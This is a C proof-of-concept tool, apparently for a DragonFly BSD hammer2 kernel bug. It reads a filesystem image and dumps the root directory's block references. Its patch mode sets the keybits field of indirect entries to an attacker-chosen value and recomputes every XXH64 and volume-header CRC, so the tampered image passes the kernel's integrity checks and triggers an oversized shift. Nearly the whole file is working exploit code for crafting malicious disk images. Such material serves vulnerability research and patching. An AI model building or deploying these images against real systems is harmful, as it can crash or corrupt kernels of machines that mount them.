/*
 * h2keybits.c - DF-2606 PoC helper for DragonFly hammer2 (this snapshot:
 * 128-byte blockrefs, HAMMER2_SET_COUNT=4, 1024-byte inodes, 64KB volhdr).
 *
 * Walks a hammer2 image from the volume header to the PFS root ("LOCAL")
 * directory inode and dumps its embedded blockref array.  In patch mode it
 * rewrites the keybits field of the chosen INDIRECT entry (default: all of
 * them) to an attacker value and fixes up every integrity check on the way
 * up to the volume header (XXH64 chain checks + the three volume header
 * iCRC32s), so the resulting image is *validly signed* metadata from the
 * kernel's point of view.
 *
 * Build (in the guest, against the guest's own /usr/src):
 *   cc -O2 -o h2keybits h2keybits.c /usr/src/sys/libkern/icrc32.c \
 *      /usr/src/sys/vfs/hammer2/xxhash/xxhash.c \
 *      -I/usr/src/sys -I/usr/src/sys/vfs/hammer2/xxhash
 *
 * Usage:
 *   h2keybits <image> dump
 *   h2keybits <image> patch <keybits> [all|<slot>]
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#include <vfs/hammer2/hammer2_disk.h>
#include "xxhash.h"

/* from sys/libkern/icrc32.c (userland-compilable, no header) */
extern uint32_t iscsi_crc32(const void *buf, size_t size);

#define XXH_SEED 0x4d617474446c6c6eLLU   /* XXH_HAMMER2_SEED */

static int fd;

static void
die(const char *msg)
{
	fprintf(stderr, "h2keybits: %s (%s)\n", msg, strerror(errno));
	exit(1);
}

static void
preadx(void *buf, size_t n, off_t off)
{
	ssize_t r = pread(fd, buf, n, off);
	if (r != (ssize_t)n) {
		fprintf(stderr, "h2keybits: pread %zu@%lld returned %zd\n",
			n, (long long)off, r);
		exit(1);
	}
}

static void
pwritex(const void *buf, size_t n, off_t off)
{
	ssize_t r = pwrite(fd, buf, n, off);
	if (r != (ssize_t)n)
		die("pwrite");
}

static off_t
fsizex(void)
{
	struct stat st;
	if (fstat(fd, &st))
		die("fstat");
	return st.st_size;
}

static const char *
btype(uint8_t t)
{
	switch (t) {
	case HAMMER2_BREF_TYPE_EMPTY: return "EMPTY";
	case HAMMER2_BREF_TYPE_INODE: return "INODE";
	case HAMMER2_BREF_TYPE_INDIRECT: return "INDIRECT";
	case HAMMER2_BREF_TYPE_DATA: return "DATA";
	case HAMMER2_BREF_TYPE_DIRENT: return "DIRENT";
	case HAMMER2_BREF_TYPE_INVALID: return "INVALID";
	default: return "?";
	}
}

/* x86-64 semantics of (uint64_t)1 << kb (shift count masked mod 64) --
 * what the kernel actually computes at hammer2_chain.c:109 et al. */
static uint64_t
range_end(uint64_t key, uint64_t keybits)
{
	return key + ((uint64_t)1 << keybits) - 1;
}

/*
 * Find the best (highest mirror_tid) valid volume header.  Mirrors
 * hammer2_read_volume_header(): magic + the three iCRCs.
 */
static int
find_volhdr(hammer2_volume_data_t *vd_out, int *zones, int *nzones)
{
	static hammer2_volume_data_t vd[HAMMER2_NUM_VOLHDRS];
	hammer2_volume_data_t t;
	off_t fsize = fsizex();
	int best = -1, i;
	uint32_t crc0, crc1;

	*nzones = 0;
	for (i = 0; i < HAMMER2_NUM_VOLHDRS; ++i) {
		off_t off = (off_t)i * HAMMER2_ZONE_BYTES64;
		if (off + HAMMER2_VOLUME_BYTES > fsize)
			continue;
		preadx(&t, HAMMER2_VOLUME_BYTES, off);
		if (t.magic != HAMMER2_VOLUME_ID_HBO)
			continue;
		crc0 = t.icrc_sects[HAMMER2_VOL_ICRC_SECT0];
		crc1 = iscsi_crc32(&t, HAMMER2_VOLUME_ICRC0_SIZE);
		if (crc0 != crc1) { printf("zone %d: sect0 icrc bad\n", i); continue; }
		crc0 = t.icrc_sects[HAMMER2_VOL_ICRC_SECT1];
		crc1 = iscsi_crc32(((char *)&t) + HAMMER2_VOLUME_ICRC1_OFF,
				   HAMMER2_VOLUME_ICRC1_SIZE);
		if (crc0 != crc1) { printf("zone %d: sect1 icrc bad\n", i); continue; }
		crc0 = t.icrc_volheader;
		crc1 = iscsi_crc32(&t, HAMMER2_VOLUME_ICRCVH_SIZE);
		if (crc0 != crc1) { printf("zone %d: vh icrc bad\n", i); continue; }
		memcpy(&vd[*nzones], &t, sizeof(t));
		zones[(*nzones)++] = i;
		if (best == -1 || vd_out->mirror_tid < t.mirror_tid) {
			memcpy(vd_out, &t, sizeof(t));
			best = i;
		}
	}
	return best;
}

static void
dump_blockref(const char *tag, int slot, hammer2_blockref_t *b)
{
	printf("  [%s slot %d] type=%-8s key=%016jx keybits=%-3u "
	       "data_off=%016jx vradix=%u methods=%02x\n",
	       tag, slot, btype(b->type), (uintmax_t)b->key, b->keybits,
	       (uintmax_t)b->data_off, b->vradix, b->methods);
	if (b->type != HAMMER2_BREF_TYPE_EMPTY) {
		uint64_t end = range_end(b->key, b->keybits);
		uint64_t endc = b->key + ((uint64_t)1 << (b->keybits & 63)) - 1;
		printf("            computed range: [%016jx .. %016jx]%s\n",
		       (uintmax_t)b->key, (uintmax_t)end,
		       (b->keybits > 63 &&
			(b->keybits & 63) < b->keybits) ?
		       "  << UB SHIFT (masked mod 64 by x86-64)" : "");
		if (b->keybits > 63)
			printf("            (1ULL<<%u) as computed on x86-64 = "
			       "(1ULL<<%u)\n", b->keybits, b->keybits & 63);
		(void)endc;
	}
}

static int
read_inode(hammer2_inode_data_t *ip, hammer2_blockref_t *bref)
{
	off_t off;

	if (bref->type != HAMMER2_BREF_TYPE_INODE) {
		fprintf(stderr, "not an INODE bref\n");
		return -1;
	}
	off = bref->data_off & HAMMER2_OFF_MASK;
	preadx(ip, sizeof(*ip), off);
	return 0;
}

int
main(int ac, char **av)
{
	hammer2_volume_data_t vd;
	hammer2_inode_data_t sroot, lroot;
	hammer2_blockref_t *sb, *slot;
	int zones[HAMMER2_NUM_VOLHDRS], nzones = 0;
	int i, target = -1, patchkb = -1, patchslot = -2 /* all */;
	uint64_t h;
	off_t lroot_off, sroot_off;
	int do_patch = 0;

	if (ac < 3) {
		fprintf(stderr, "usage: %s <image> dump | "
			"%s <image> patch <keybits> [all|<slot>]\n",
			av[0], av[0]);
		return 2;
	}
	if ((fd = open(av[1], O_RDWR)) < 0)
		die("open");
	if (strcmp(av[2], "patch") == 0) {
		if (ac < 4) {
			fprintf(stderr, "patch needs <keybits> arg\n");
			return 2;
		}
		patchkb = atoi(av[3]);
		if (patchkb < 0 || patchkb > 255) {
			fprintf(stderr, "keybits must be 0..255\n");
			return 2;
		}
		if (ac >= 5 && strcmp(av[4], "all") != 0)
			patchslot = atoi(av[4]);
		do_patch = 1;
	}

	if (find_volhdr(&vd, zones, &nzones) < 0) {
		fprintf(stderr, "no valid volume header found\n");
		return 1;
	}
	printf("volume header: %d valid cop%s (zones", nzones,
	       nzones == 1 ? "y" : "ies");
	for (i = 0; i < nzones; ++i)
		printf(" %d", zones[i]);
	printf("), using mirror_tid=%ju\n", (uintmax_t)vd.mirror_tid);

	sb = &vd.sroot_blockset.blockref[0];
	if (sb->type != HAMMER2_BREF_TYPE_INODE) {
		fprintf(stderr, "sroot blockref type %u ?!\n", sb->type);
		return 1;
	}
	printf("sroot bref: key=%016jx keybits=%u data_off=%016jx\n",
	       (uintmax_t)sb->key, sb->keybits, (uintmax_t)sb->data_off);

	sroot_off = sb->data_off & HAMMER2_OFF_MASK;
	preadx(&sroot, sizeof(sroot), sroot_off);
	h = XXH64(&sroot, sizeof(sroot), XXH_SEED);
	printf("sroot inode @%lld: XXH64 %s (stored %016jx calc %016jx)\n",
	       (long long)sroot_off,
	       h == sb->check.xxhash64.value ? "OK" : "MISMATCH",
	       (uintmax_t)sb->check.xxhash64.value, (uintmax_t)h);

	/* locate the LOCAL PFS root directory inode under the super-root */
	for (i = 0; i < HAMMER2_SET_COUNT; ++i) {
		hammer2_blockref_t *cb = &sroot.u.blockset.blockref[i];
		hammer2_inode_data_t cip;

		if (cb->type == HAMMER2_BREF_TYPE_EMPTY)
			continue;
		if (cb->type != HAMMER2_BREF_TYPE_INODE) {
			printf("sroot child slot %d: type=%s (skipped)\n",
			       i, btype(cb->type));
			continue;
		}
		read_inode(&cip, cb);
		h = XXH64(&cip, sizeof(cip), XXH_SEED);
		printf("sroot child slot %d: name=\"%s\" key=%016jx "
		       "XXH64 %s\n", i, (char *)cip.filename,
		       (uintmax_t)cb->key,
		       h == cb->check.xxhash64.value ? "OK" : "MISMATCH");
		if (strcmp((char *)cip.filename, "LOCAL") == 0) {
			target = i;
			memcpy(&lroot, &cip, sizeof(cip));
			lroot_off = cb->data_off & HAMMER2_OFF_MASK;
		}
	}
	if (target < 0) {
		fprintf(stderr, "PFS \"LOCAL\" not found under sroot\n");
		return 1;
	}

	printf("\nLOCAL PFS root inode @%lld embedded blockref array:\n",
	       (long long)lroot_off);
	for (i = 0; i < HAMMER2_SET_COUNT; ++i)
		dump_blockref("LOCAL", i, &lroot.u.blockset.blockref[i]);

	/* one level deeper: show what lives inside each INDIRECT */
	for (i = 0; i < HAMMER2_SET_COUNT; ++i) {
		hammer2_blockref_t *cb = &lroot.u.blockset.blockref[i];
		hammer2_blockref_t *ibase;
		size_t bytes;
		int n, live = 0;

		if (cb->type != HAMMER2_BREF_TYPE_INDIRECT)
			continue;
		bytes = (size_t)1 << (cb->data_off & HAMMER2_OFF_MASK_RADIX);
		ibase = malloc(bytes);
		preadx(ibase, bytes, cb->data_off & HAMMER2_OFF_MASK);
		h = XXH64(ibase, bytes, XXH_SEED);
		n = (int)(bytes / sizeof(hammer2_blockref_t));
		for (int j = 0; j < n; ++j)
			if (ibase[j].type != HAMMER2_BREF_TYPE_EMPTY)
				++live;
		printf("indirect slot %d: %d brefs (%d live), XXH64 %s\n",
		       i, n, live,
		       h == cb->check.xxhash64.value ? "OK" : "MISMATCH");
		free(ibase);
	}

	if (!do_patch)
		return 0;

	/*
	 * Patch keybits of the chosen INDIRECT slot(s) inside the LOCAL
	 * root inode's embedded blockref array, then fix checks upward.
	 */
	printf("\nPATCH: setting keybits=%d on %s\n", patchkb,
	       patchslot == -2 ? "all INDIRECT slots" : "slot");
	for (i = 0; i < HAMMER2_SET_COUNT; ++i) {
		slot = &lroot.u.blockset.blockref[i];
		if (slot->type != HAMMER2_BREF_TYPE_INDIRECT)
			continue;
		if (patchslot != -2 && i != patchslot)
			continue;
		printf("  patching slot %d: keybits %u -> %d\n",
		       i, slot->keybits, patchkb);
		slot->keybits = (uint8_t)patchkb;
	}

	/* 1. rewrite LOCAL root inode + its XXH64 in the sroot array */
	pwritex(&lroot, sizeof(lroot), lroot_off);
	h = XXH64(&lroot, sizeof(lroot), XXH_SEED);
	sroot.u.blockset.blockref[target].check.xxhash64.value = h;
	printf("fixed sroot[%d].check.xxhash64 = %016jx\n", target,
	       (uintmax_t)h);

	/* 2. rewrite sroot inode + its XXH64 in the volume header */
	pwritex(&sroot, sizeof(sroot), sroot_off);
	h = XXH64(&sroot, sizeof(sroot), XXH_SEED);
	sb->check.xxhash64.value = h;
	printf("fixed volhdr sroot_blockset.check.xxhash64 = %016jx\n",
	       (uintmax_t)h);

	/* 3. rewrite every valid volume header copy with fresh iCRCs */
	for (i = 0; i < nzones; ++i) {
		hammer2_volume_data_t nv;
		off_t off = (off_t)zones[i] * HAMMER2_ZONE_BYTES64;

		memcpy(&nv, &vd, sizeof(nv));	/* carries the new sroot check */
		/* order matters: SECT1's crc is stored inside SECT0's range */
		nv.icrc_sects[HAMMER2_VOL_ICRC_SECT1] =
			iscsi_crc32(((char *)&nv) + HAMMER2_VOLUME_ICRC1_OFF,
				    HAMMER2_VOLUME_ICRC1_SIZE);
		nv.icrc_sects[HAMMER2_VOL_ICRC_SECT0] =
			iscsi_crc32(&nv, HAMMER2_VOLUME_ICRC0_SIZE);
		nv.icrc_volheader = iscsi_crc32(&nv, HAMMER2_VOLUME_ICRCVH_SIZE);
		pwritex(&nv, HAMMER2_VOLUME_BYTES, off);
		printf("rewrote volhdr zone %d (icrc_sect0=%08x sect1=%08x "
		       "vh=%08x)\n", zones[i],
		       nv.icrc_sects[HAMMER2_VOL_ICRC_SECT0],
		       nv.icrc_sects[HAMMER2_VOL_ICRC_SECT1],
		       nv.icrc_volheader);
	}

	printf("patch complete\n");
	return 0;
}